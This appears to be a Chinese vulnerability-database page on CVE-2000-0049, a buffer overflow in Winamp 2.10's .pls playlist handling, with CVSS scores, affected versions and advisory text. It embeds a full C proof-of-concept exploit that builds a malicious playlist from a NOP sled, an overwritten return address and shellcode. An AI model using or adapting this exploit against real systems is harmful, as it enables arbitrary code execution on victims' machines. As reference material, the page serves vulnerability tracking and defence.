CVE-2000-0049
CVSS7.2
发布时间 :2000-01-04 00:00:00
修订时间 :2008-09-10 15:02:25
NMCOES    

[原文]Buffer overflow in Winamp client allows remote attackers to execute commands via a long entry in a .pls file.


[CNNVD]Winamp Playlist漏洞(CNNVD-200001-008)

        Winamp客户端存在缓冲区溢出漏洞。远程攻击者可以借助.pls文件中的超长入口执行命令。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:nullsoft:winamp:2.0Nullsoft Winamp 2.0
cpe:/a:nullsoft:winamp:2.10Nullsoft Winamp 2.10

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0049
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-0049
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200001-008
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/925
(UNKNOWN)  BID  925
http://www.osvdb.org/12022
(UNKNOWN)  OSVDB  12022

- 漏洞信息

Winamp Playlist漏洞
高危 缓冲区溢出
2000-01-04 00:00:00 2005-10-20 00:00:00
本地  
        Winamp客户端存在缓冲区溢出漏洞。远程攻击者可以借助.pls文件中的超长入口执行命令。

- 公告与补丁

        Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com.

- 漏洞信息 (19720)

NullSoft Winamp 2.10 Playlist Vulnerability (EDBID:19720)
windows dos
2000-01-10 Verified
0 Steve Fewer
N/A [点击下载]
source: http://www.securityfocus.com/bid/925/info

Winamp, a program for playing mp3 and other audio files, uses playlist files (*.pls) to store lists of files for playback. The code that reads these files has an unchecked buffer which can be overflowed to cause arbitrary code to be executed. If an entry longer than 580 bytes is specified in the file, EIP gets overwritten.

This vulnerability can only be exploited remotely by convincing someone to download the hostile playlist and load it into Winamp. IE5 will download .pls files without user confirmation if winamp is installed. 

/* Stack based buffer overflow exploit for Winamp v2.10
 * Author Steve Fewer, 04-01-2k. Mail me at darkplan@oceanfree.net
 *
 * For a detailed description on the exploit see my advisory.
 *
 * Tested with Winamp v2.10 using Windows98 on an Intel
 * PII 400 with 128MB RAM
 *
 * http://indigo.ie/~lmf
 */

#include <stdio.h>

int main()
{

    printf("\n\n\t\t.......................................\n");
    printf("\t\t......Nullsoft Winamp 2.10 exploit.....\n");
    printf("\t\t.......................................\n");
    printf("\t\t.....Author: Steve Fewer, 04-01-2k.....\n");
    printf("\t\t.........http://indigo.ie/~lmf.........\n");
    printf("\t\t.......................................\n\n");

char buffer[640];
char eip[8] =3D "\xF7\xCF\xB9\xBF";
char sploit[256] =3D =
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53
\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\=
xFA\x2E\xC6
\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA\xD4\x76\xF7\xbF\x52\x8D\=
x45\xF4\x50
\xFF\x55\xF0\x55\x8B\xEC\x33\xFF\x57\xC6\x45\xFC\x48\xC6\x45\xFD\x69\xC6\=
x45\xFE\x21
\xBA\x2E\x41\xF5\xBF\x52\x57\x8D\x55\xFC\x52\x52\x57\xFF\x55\xF8\x55\x8B\=
xEC\xBA\xFF
\xFF\xFF\xFF\x81\xEA\xFB\xAA\xFF\x87\x52\x33\xC0\x50\xFF\x55\xFC";

FILE *file;

    for(int x=3D0;x<580;x++)
    {
    buffer[x] =3D 0x90;
    }

file =3D fopen("crAsh.pls","wb");

fprintf(file, "[playlist]\n");
fprintf(file, "File1=3D");
fprintf(file, "%s", buffer);
fprintf(file, "%s", eip);
fprintf(file, "%s", sploit);
fprintf(file, "\nNumberOfEntries=3D1");

fclose(file);
printf("\t     created file crAsh.pls loaded with the exploit.\n");
return 0;
}

		

- 漏洞信息

12022
Winamp Client .pls File Handling Overflow
Context Dependent Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

A buffer overflow exists in Winamp. Winamp fails to check bounds on the length of playlist entries resulting in a buffer overflow. With a specially crafted file, a local attacker can cause arbitrary code execution resulting in a loss of integrity.

- 时间线

2000-01-04 Unknow
2000-01-04 Unknow

- 解决方案

An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

- 漏洞信息

Winamp Playlist Vulnerability
Boundary Condition Error 925
No Yes
2000-01-10 12:00:00 2009-07-11 01:56:00
Posted to Bugtraq on January 10, 1999 by "Transfer Interrupted" <t-i@gmx.net>.

- 受影响的程序版本

NullSoft Winamp 2.10
NullSoft Winamp 2.5 E

- 不受影响的程序版本

NullSoft Winamp 2.5 E

- 漏洞讨论

Winamp, a program for playing mp3 and other audio files, uses playlist files (*.pls) to store lists of files for playback. The code that reads these files has an unchecked buffer which can be overflowed to cause arbitrary code to be executed. If an entry longer than 580 bytes is specified in the file, EIP gets overwritten.

This vulnerability can only be exploited remotely by convincing someone to download the hostile playlist and load it into Winamp. IE5 will download .pls files without user confirmation if winamp is installed.

- 漏洞利用

Exploit available:

- 解决方案

Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com.

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站